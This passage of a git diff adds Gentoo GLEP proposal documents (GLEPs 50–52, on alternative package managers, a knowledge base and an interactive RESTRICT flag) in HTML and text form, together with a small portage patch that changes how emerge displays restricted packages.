+Similarly, in rule two &quot;by the official package manager&quot; should
+read &quot;by the official ebuild spec&quot;.</li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>Pretty much the whole point, and it's explicit here.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0050.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0050.txt b/xml/htdocs/proj/en/glep/glep-0050.txt
new file mode 100644
index 00000000..1ea167bd
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0050.txt
@@ -0,0 +1,84 @@
+GLEP: 50
+Title: Supporting alternative package managers
+Version: $Revision: 1.3 $
+Last-Modified: $Date: 2006/09/05 20:54:30 $
+Author: Grant Goodyear <g2boojum@gentoo.org>
+Status: Rejected
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 22-May-2006
+Post-History: 15-Jun-2006, 6-Sep-2006
+
+Status
+======
+
+The council rejected this GLEP in favor of starting from a package manager
+API and requiring Gentoo package managers in the tree to support that
+API.  (That API is still pending, however.)
+
+
+Abstract
+========
+
+To support alternatives to the official package manager (portage, at the time
+of this writing), some sane ground rules need to be set.  Specifically, no
+alternative ebuild-based package manager may be added to the tree unless it
+successfully works with all ebuilds supported by the official package manager.
+Moreover, no ebuilds may be added to the tree unless they are supported
+(without change) by the official package manager.
+
+
+Specification
+=============
+
+* No alternative ebuild-based package manager may be added
+  to the tree unless it successfully works with all ebuilds supported by
+  the official package manager.  If an alternative package manager is
+  runtime incompatible with the official package manager, then it
+  must be masked and provide appropriate warnings.
+* No ebuilds may be added to the tree unless they are supported
+  (without change) by the official package manager.
+
+Rationale
+=========
+
+The first rule sets a reasonable bar for adding an alternative package
+manager to the tree.  Note that if an ebuild currently in the tree
+doesn't work with the official package manager, it isn't expected to
+work with an alternative package manager either.  The second rule
+ensures that an alternative package manager cannot become a de-facto
+requirement by supporting packages that the official package manager
+cannot handle.
+
+In order to keep this proposal as simple and focused as possible, it has
+nothing to say about the process by which an alternative package manager
+might one day become the official package manager.  It is assumed that
+sanity will reign, and no package manager will become official without
+being able to build installation media, providing a transition path from
+or to the existing official package manager, etcetera.
+
+Notes
+=====
+
+* An early criticism of this GLEP was that it fails to address eclasses and
+  profiles.  As far as eclasses are concerned, my view is that the above rules
+  suffice, since eclasses only matter in their use in ebuilds.  If a package
+  manager can effectively process all ebuilds, then it must be handling the
+  eclasses successfully, too.  Profiles, on the other hand, are not addressed
+  here even implicitly.
+* Assuming the ebuild specification is successfully finished, then the   
+  first rule should really replace "all ebuilds supported by the official
+  package manager" with "all ebuilds that satisfy the ebuild spec".  
+  Similarly, in rule two "by the official package manager" should
+  read "by the official ebuild spec".
+
+Backwards Compatibility
+=======================
+
+Pretty much the whole point, and it's explicit here.
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
diff --git a/xml/htdocs/proj/en/glep/glep-0051.html b/xml/htdocs/proj/en/glep/glep-0051.html
new file mode 100644
index 00000000..36cc51a6
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0051.html
@@ -0,0 +1,182 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 51 -- Gentoo Knowledge Base</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0051.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">51</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Gentoo Knowledge Base</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.2</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0051.txt?cvsroot=gentoo">2007/03/26 10:27:50</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Sven Vermeulen &lt;swift&#32;&#97;t&#32;gentoo.org&gt;,</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Withdrawn</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">30-May-2006</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">26-Mar-2007</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id2" name="id2">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id3" name="id3">Motivation</a></li>
+<li><a class="reference" href="#requirements" id="id4" name="id4">Requirements</a><ul>
+<li><a class="reference" href="#search-functionality" id="id5" name="id5">Search functionality</a></li>
+<li><a class="reference" href="#content-definition" id="id6" name="id6">Content definition</a></li>
+<li><a class="reference" href="#feedback-system" id="id7" name="id7">Feedback system</a></li>
+<li><a class="reference" href="#topic-maintenance-system" id="id8" name="id8">Topic maintenance system</a></li>
+<li><a class="reference" href="#license" id="id9" name="id9">License</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#frameworks" id="id10" name="id10">Frameworks</a></li>
+<li><a class="reference" href="#copyright" id="id11" name="id11">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id2" id="abstract" name="abstract">Abstract</a></h1>
+<p>To improve the self-healing abilities of the Gentoo users, we have to offer a
+repository with specific solutions to specific issues and quick answers to
+common questions which aren't global enough to fit within a Gentoo Documentation
+Guide. Such a repository can be offered by a Gentoo Knowledge Base.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="motivation" name="motivation">Motivation</a></h1>
+<p>When we look at the software projects today, we find that information has
+broadened beyond documentation and the detail level has deepend to an almost
+individual, precise answer for every question. It is no longer reasonable to
+suggest that documentation is sufficient to succesfully aide users with
+exploring the world of software use. Documentation is a (and perhaps even the
+most) powerful tool to guide users through complex topics. Yet documentation
+mainly focuses on a large reader base. Whenever topics become too detailed, they
+become difficult to fit inside a certain hierarchical structure.</p>
+<p>Such a structure is required by users who need to find documentation quickly. A
+major help is, of course, a search feature that spans all documentation.
+However, when hundreds of (seemingly similar yet different) topics are
+available, many search technologies fail. Natural language queries often express
+more details than a regular, boolean expression, but not that many search
+technologies allow such queries.</p>
+<p>The Gentoo Knowledge Base is an effort to extend the information Gentoo delivers
+with precise answers to specific questions. Each topic in the repository must be
+owned by at least one knowledgeable developer, written in a structured manner
+and should leave no room for different interpretations. General topics must
+provide direct links to the documentation.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="requirements" name="requirements">Requirements</a></h1>
+<div class="section">
+<h2><a class="toc-backref" href="#id5" id="search-functionality" name="search-functionality">Search functionality</a></h2>
+<p>As one of the major features of a good Knowledge Base, the search engine used
+should allow for natural language queries as those are easier for people to
+use. However, clear cut 'n paste queries should also prove to be very
+effective as many questions rise from error messages.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id6" id="content-definition" name="content-definition">Content definition</a></h2>
+<p>The topics with the most content would be the issue-type topics who describe a
+certain error and inform the user about the resolution. To make sure these
+issues are specific enough (not &quot;how do I fix a build fault&quot;) they must
+describe the following aspects thoroughly:</p>
+<ul class="simple">
+<li>The <em>title</em> describes the issue well enough for most users to quickly find
+out if the topic is of interest for them or not. It is also displayed in
+the search results</li>
+<li>The <em>synopsis</em> gives more detail about the error, such as the full error
+message, commands that triggered it or the (mis)behavior of a specific
+command</li>
+<li>The <em>environment</em> informs the user when the topic applies. If the users'
+environment doesn't match this one, the topic isn't valid for him.</li>
+<li>In the <em>analysis</em> section, the cause of the error is considered in great
+detail to discover the essential flaw that triggered the error. It serves
+as an information section for the user to comprehend what went wrong.</li>
+<li>To fix the error, the <em>resolution</em> section guides the user through the
+necessary steps to resolve the issue.</li>
+</ul>
+<p>A second type of queries would be small (but interesting) FAQs. These answers
+are short and precise, most of the time one or two paragraphs.</p>
+<p>Although several topics will be Gentoo specific, we will not limit ourselves
+to this. However, we do not add topics that are specific to non-Gentoo
+distributions.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id7" id="feedback-system" name="feedback-system">Feedback system</a></h2>
+<p>The knowledge base should allow for user feedback. Feedback such as &quot;Does this
+answer your question?&quot; is invaluable to improve the search results whereas
+&quot;Mark this topic as outdated&quot; helps us keep the knowledge base in good shape.</p>
+<p>We might want to consider allowing user comments too: they can add priceless
+information to the topic, allowing the maintainer of the topic to update it
+with more accurate information.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id8" id="topic-maintenance-system" name="topic-maintenance-system">Topic maintenance system</a></h2>
+<p>Each topic should be maintained by a knowledgeable developer. The system must
+allow the developer to watch his topics and update them when needed. Of
+course, topics related to specific herds should be maintainable by the team
+responsible for the herd.</p>
+<p>Although not required, revision history would be great :-)</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id9" id="license" name="license">License</a></h2>
+<p>The content of the knowledge base should be public domain. Everything large
+enough to warrant a different license shouldn't be in the knowledge base
+anyway.</p>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="frameworks" name="frameworks">Frameworks</a></h1>
+<p>Based on the requirements, one or more frameworks will be chosen. These should
+of course be free software projects; if we can't find any set of frameworks
+that adheres to the requirements, the knowledge base project should build one
+up until the requirements are met.</p>
+<p>We currently do not have any technical requirements on the frameworks, but at
+the end the knowledge base should be hosted on official Gentoo hardware and
+maintained by the Infrastructure project. As such, the Infrastructure project
+has final saying on the frameworks used in the knowledge base.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0051.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0051.txt b/xml/htdocs/proj/en/glep/glep-0051.txt
new file mode 100644
index 00000000..2d4c782b
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0051.txt
@@ -0,0 +1,136 @@
+GLEP: 51
+Title: Gentoo Knowledge Base
+Version: $Revision: 1.2 $
+Last-Modified: $Date: 2007/03/26 10:27:50 $
+Author: Sven Vermeulen <swift@gentoo.org>,
+Status: Withdrawn
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 30-May-2006
+Post-History: 26-Mar-2007
+
+
+Abstract
+========
+
+To improve the self-healing abilities of the Gentoo users, we have to offer a
+repository with specific solutions to specific issues and quick answers to 
+common questions which aren't global enough to fit within a Gentoo Documentation
+Guide. Such a repository can be offered by a Gentoo Knowledge Base.
+
+
+Motivation
+==========
+
+When we look at the software projects today, we find that information has
+broadened beyond documentation and the detail level has deepend to an almost
+individual, precise answer for every question. It is no longer reasonable to
+suggest that documentation is sufficient to succesfully aide users with
+exploring the world of software use. Documentation is a (and perhaps even the
+most) powerful tool to guide users through complex topics. Yet documentation
+mainly focuses on a large reader base. Whenever topics become too detailed, they
+become difficult to fit inside a certain hierarchical structure.
+
+Such a structure is required by users who need to find documentation quickly. A
+major help is, of course, a search feature that spans all documentation.
+However, when hundreds of (seemingly similar yet different) topics are
+available, many search technologies fail. Natural language queries often express
+more details than a regular, boolean expression, but not that many search
+technologies allow such queries.
+
+The Gentoo Knowledge Base is an effort to extend the information Gentoo delivers
+with precise answers to specific questions. Each topic in the repository must be
+owned by at least one knowledgeable developer, written in a structured manner
+and should leave no room for different interpretations. General topics must
+provide direct links to the documentation. 
+
+
+Requirements
+=============
+
+Search functionality
+--------------------
+
+As one of the major features of a good Knowledge Base, the search engine used
+should allow for natural language queries as those are easier for people to
+use. However, clear cut 'n paste queries should also prove to be very
+effective as many questions rise from error messages.
+
+Content definition
+------------------
+
+The topics with the most content would be the issue-type topics who describe a
+certain error and inform the user about the resolution. To make sure these
+issues are specific enough (not "how do I fix a build fault") they must
+describe the following aspects thoroughly:
+
+*  The *title* describes the issue well enough for most users to quickly find
+   out if the topic is of interest for them or not. It is also displayed in
+   the search results
+
+*  The *synopsis* gives more detail about the error, such as the full error
+   message, commands that triggered it or the (mis)behavior of a specific
+   command
+
+*  The *environment* informs the user when the topic applies. If the users'
+   environment doesn't match this one, the topic isn't valid for him.
+
+*  In the *analysis* section, the cause of the error is considered in great
+   detail to discover the essential flaw that triggered the error. It serves
+   as an information section for the user to comprehend what went wrong.
+
+*  To fix the error, the *resolution* section guides the user through the
+   necessary steps to resolve the issue.
+
+A second type of queries would be small (but interesting) FAQs. These answers
+are short and precise, most of the time one or two paragraphs.
+
+Although several topics will be Gentoo specific, we will not limit ourselves
+to this. However, we do not add topics that are specific to non-Gentoo 
+distributions.
+
+Feedback system
+---------------
+
+The knowledge base should allow for user feedback. Feedback such as "Does this
+answer your question?" is invaluable to improve the search results whereas
+"Mark this topic as outdated" helps us keep the knowledge base in good shape.
+
+We might want to consider allowing user comments too: they can add priceless
+information to the topic, allowing the maintainer of the topic to update it
+with more accurate information.
+
+Topic maintenance system
+------------------------
+
+Each topic should be maintained by a knowledgeable developer. The system must
+allow the developer to watch his topics and update them when needed. Of
+course, topics related to specific herds should be maintainable by the team
+responsible for the herd.
+
+Although not required, revision history would be great :-)
+
+License
+-------
+
+The content of the knowledge base should be public domain. Everything large
+enough to warrant a different license shouldn't be in the knowledge base
+anyway.
+
+Frameworks
+==========
+
+Based on the requirements, one or more frameworks will be chosen. These should
+of course be free software projects; if we can't find any set of frameworks
+that adheres to the requirements, the knowledge base project should build one
+up until the requirements are met.
+
+We currently do not have any technical requirements on the frameworks, but at
+the end the knowledge base should be hosted on official Gentoo hardware and
+maintained by the Infrastructure project. As such, the Infrastructure project
+has final saying on the frameworks used in the knowledge base.
+
+Copyright
+=========
+
+This document has been placed in the public domain.
diff --git a/xml/htdocs/proj/en/glep/glep-0052-extras/portage-2.1.2_pre2-r6-interactive-restrict.diff.txt b/xml/htdocs/proj/en/glep/glep-0052-extras/portage-2.1.2_pre2-r6-interactive-restrict.diff.txt
new file mode 100644
index 00000000..708f70a0
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0052-extras/portage-2.1.2_pre2-r6-interactive-restrict.diff.txt
@@ -0,0 +1,112 @@
+--- bin/emerge.org	2006-10-14 03:24:00.000000000 +0200
++++ bin/emerge	2006-10-14 04:13:34.000000000 +0200
+@@ -1579,10 +1579,10 @@
+ 				elif "ebuild" == pkg_type:
+ 					self.useFlags[myroot][pkg_key] = pkgsettings["USE"].split()
+ 
+-			fetch=" "
++			restrict=" "
+ 
+ 			if x[0]=="blocks":
+-				addl=""+red("B")+"  "+fetch+"  "
++				addl=""+red("B")+"  "+restrict+"  "
+ 				resolved = self.trees[x[1]]["vartree"].resolve_key(x[2])
+ 				print "["+x[0]+" "+addl+"]",red(resolved),
+ 				block_parents = self.digraph.parent_nodes(" ".join(x))
+@@ -1595,20 +1595,26 @@
+ 					print bad("(is blocking %s)") % block_parents
+ 			else:
+ 				mydbapi = self.trees[myroot][self.pkg_tree_map[pkg_type]].dbapi
+-				if x[3] != "nomerge" and \
+-					"fetch" in portdb.aux_get(
+-					x[2], ["RESTRICT"])[0].split():
+-					fetch = red("F")
+-					if portdb.fetch_check(
+-						pkg_key, self.useFlags[myroot][pkg_key]):
+-						fetch = green("f")
++				restrict_list = portdb.aux_get(x[2], ["RESTRICT"])[0].split()
++				if x[3] != "nomerge":
++					if "fetch" in restrict_list:
++						restrict = "F"
++						if "interactive" in restrict_list:
++							restrict = "P"
++						if portdb.fetch_check(
++							pkg_key, self.useFlags[myroot][pkg_key]):
++							restrict = green(restrict.lower())
++						else:
++							restrict = red(restrict)
++					elif "interactive" in restrict_list:
++						restrict = red("i")
+ 
+ 				#we need to use "--emptrytree" testing here rather than "empty" param testing because "empty"
+ 				#param is used for -u, where you still *do* want to see when something is being upgraded.
+ 				myoldbest=""
+ 				if "--emptytree" not in self.myopts and \
+ 					self.trees[x[1]]["vartree"].exists_specific(x[2]):
+-					addl="  "+yellow("R")+fetch+"  "
++					addl="  "+yellow("R")+restrict+"  "
+ 				elif "--emptytree" not in self.myopts and \
+ 					self.trees[x[1]]["vartree"].exists_specific_cat(x[2]):
+ 					mynewslot = mydbapi.aux_get(pkg_key, ["SLOT"])[0]
+@@ -1618,7 +1624,7 @@
+ 						if mynewslot == vartree.getslot(inst_pkg)]
+ 					if myinslotlist:
+ 						myoldbest=portage.best(myinslotlist)
+-						addl="   "+fetch
++						addl="   "+restrict
+ 						if portage.pkgcmp(portage.pkgsplit(x[2]), portage.pkgsplit(myoldbest)) < 0:
+ 							# Downgrade in slot
+ 							addl+=turquoise("U")+blue("D")
+@@ -1627,7 +1633,7 @@
+ 							addl+=turquoise("U")+" "
+ 					else:
+ 						# New slot, mark it new.
+-						addl=" "+green("NS")+fetch+"  "
++						addl=" "+green("NS")+restrict+"  "
+ 
+ 					if "--changelog" in self.myopts:
+ 						changelogs.extend(self.calc_changelog(
+@@ -1635,7 +1641,7 @@
+ 							self.trees[x[1]]["vartree"].dep_bestmatch(
+ 							'/'.join(portage.catpkgsplit(x[2])[:2])), x[2]))
+ 				else:
+-					addl=" "+green("N")+" "+fetch+"  "
++					addl=" "+green("N")+" "+restrict+"  "
+ 
+ 				verboseadd=""
+ 				
+--- man/ebuild.5.org	2006-08-20 14:27:20.434923000 +0200
++++ man/ebuild.5	2006-10-14 04:18:10.000000000 +0200
+@@ -335,6 +335,10 @@
+ .I primaryuri
+ fetch from URL's in \fBSRC_URI\fR before \fBGENTOO_MIRRORS\fR.
+ .TP
++.I interactive
++indicate that this ebuild typically requires user interaction (like inserting 
++physical media).
++.TP
+ .I strip
+ final binaries/libraries will not be stripped of debug symbols.
+ .TP
+--- man/emerge.1.org	2006-07-15 03:38:27.072219750 +0200
++++ man/emerge.1	2006-10-14 04:27:03.000000000 +0200
+@@ -410,6 +430,19 @@
+ .B [ebuild    f  ] media\-video/realplayer\-8\-r6
+ The realplayer package's files are already downloaded.
+ .TP
++.B [ebuild    i  ] games\-fps/unreal\-226
++Unreal requires user interaction during the build process.
++.TP
++.B [ebuild    P  ] games\-strategy/freecraft\-1.18\-r3
++Freecraft requires user interaction during the build process and you have to 
++fetch its sources manually (this is the combination of the first realplayer 
++example and the Unreal example above).
++.TP
++.B [ebuild    p  ] games\-strategy/freecraft\-1.18\-r3
++Freecraft requires user interaction during the build process and has its source
++files already downloaded (this is the combination of the second realplayer 
++example and the Unreal example above).
++.TP
+ .B [ebuild     U ] net\-fs/samba\-2.2.8_pre1 [2.2.7a]
+ Samba 2.2.7a has already been emerged and can be Updated to version 
+ 2.2.8_pre1.
diff --git a/xml/htdocs/proj/en/glep/glep-0052.html b/xml/htdocs/proj/en/glep/glep-0052.html
new file mode 100644
index 00000000..7a4b5424
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0052.html
@@ -0,0 +1,154 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 52 -- RESTRICT=unattended</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0052.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">52</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">RESTRICT=unattended</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.5</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0052.txt?cvsroot=gentoo">2007/02/20 17:45:23</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Marius Mauch &lt;genone&#32;&#97;t&#32;gentoo.org&gt;,</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Withdrawn</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">13-Oct-2006</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">14-Oct-2006</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id4" name="id4">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id5" name="id5">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id6" name="id6">Specification</a></li>
+<li><a class="reference" href="#rationale" id="id7" name="id7">Rationale</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id8" name="id8">Backwards Compatibility</a></li>
+<li><a class="reference" href="#reference-implementation" id="id9" name="id9">Reference Implementation</a></li>
+<li><a class="reference" href="#credits" id="id10" name="id10">Credits</a></li>
+<li><a class="reference" href="#references" id="id11" name="id11">References</a></li>
+<li><a class="reference" href="#copyright" id="id12" name="id12">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="abstract" name="abstract">Abstract</a></h1>
+<p>This GLEP proposes a new value for the RESTRICT metadata variable in ebuilds to
+indicate that an ebuild requires interaction by the user.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="motivation" name="motivation">Motivation</a></h1>
+<p>Certain ebuilds in the current tree require certain actions from the user to
+progress. A popular example are ebuilds that require physical media (cd/dvd-rom)
+for their distfiles instead of fetching them form the net.
+However ebuilds are supposed to be non-interactive, so this behavior, while
+sometimes necessary, violates existing policies. To account for this situation
+a new RESTRICT value should be added to allow filtering those ebuilds based on
+metadata and to inform users upfront (when displaying the depgraph) that a
+certain package will require their attention during the build process.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="specification" name="specification">Specification</a></h1>
+<p>Portage (and by extension other package managers) will support a new value for
+the RESTRICT metadata variable called <tt class="docutils literal"><span class="pre">unattended</span></tt>. This value may be used by
+the package manager and tools using its API to filter packages that require
+interactive actions (for example to mask them in automated build environments).
+How the package manager exactly reacts on the presence of this new flag is beyond
+this specification, but it's recommended to indicate it's presence to the user
+whenever relevant.</p>
+<p>This new setting should be used in ebuilds if it is known that they _typically_
+require user attention during the build process. If an ebuild just has a limited
+<tt class="docutils literal"><span class="pre">risk</span></tt> of becoming interactive (like using the <tt class="docutils literal"><span class="pre">built_with_use</span></tt> function)
+it shouldn't be restricted. Note that only package installation is covered here,
+interactivity in package removals (in pkg_prerm and pkg_postrm) can not be
+indicated with this feature.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="rationale" name="rationale">Rationale</a></h1>
+<p>The new RESTRICT=unattended metadata setting will give us the following benefits:</p>
+<ol class="arabic simple">
+<li>Enable masking of interactive ebuilds for automated build environments</li>
+<li>Metadata based searching for interactive ebuilds (superior to grep)</li>
+<li>Less frustrated users caused by <tt class="docutils literal"><span class="pre">hanging</span></tt> build processes</li>
+</ol>
+<p>This proposal does not change the existing policy regarding interactive ebuilds
+(ebuilds still should be non-interactive whenever possible), it merely states a
+way to identify them.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>Strictly speaking this extension would requires an EAPI bump, however as existing
+portage ignore unknown RESTRICT values it shouldn't cause any real breakage to
+introduce it without.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="reference-implementation" name="reference-implementation">Reference Implementation</a></h1>
+<p>A <a class="reference" href="glep-0052-extras/portage-2.1.2_pre2-r6-interactive-restrict.diff.txt">patch against portage-2.1.2_pre2-r6</a> <a class="footnote-reference" href="#id2" id="id3" name="id3">[2]</a> is available with this document.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="credits" name="credits">Credits</a></h1>
+<p>Thanks to the following persons for their input on or related to this GLEP
+(even though they might not have known it):
+Alec Warner, Zac Medico, Simon Stelling</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="bug151113" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="bug151113">[1]</a></td><td><a class="reference" href="http://bugs.gentoo.org/151113">http://bugs.gentoo.org/151113</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id2" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id3" name="id2">[2]</a></td><td><a class="reference" href="glep-0052-extras/portage-2.1.2_pre2-r6-interactive-restrict.diff.txt">glep-0052-extras/portage-2.1.2_pre2-r6-interactive-restrict.diff.txt</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id12" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0052.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0052.txt b/xml/htdocs/proj/en/glep/glep-0052.txt
new file mode 100644
index 00000000..cae774f3
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0052.txt
@@ -0,0 +1,96 @@
+GLEP: 52
+Title: RESTRICT=unattended
+Version: $Revision: 1.5 $
+Last-Modified: $Date: 2007/02/20 17:45:23 $
+Author:	Marius Mauch <genone@gentoo.org>,
+Status: Withdrawn
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 13-Oct-2006
+Post-History: 14-Oct-2006
+
+
+Abstract
+========
+
+This GLEP proposes a new value for the RESTRICT metadata variable in ebuilds to
+indicate that an ebuild requires interaction by the user.
+
+Motivation
+==========
+
+Certain ebuilds in the current tree require certain actions from the user to 
+progress. A popular example are ebuilds that require physical media (cd/dvd-rom)
+for their distfiles instead of fetching them form the net.
+However ebuilds are supposed to be non-interactive, so this behavior, while 
+sometimes necessary, violates existing policies. To account for this situation
+a new RESTRICT value should be added to allow filtering those ebuilds based on
+metadata and to inform users upfront (when displaying the depgraph) that a 
+certain package will require their attention during the build process.
+
+Specification
+=============
+
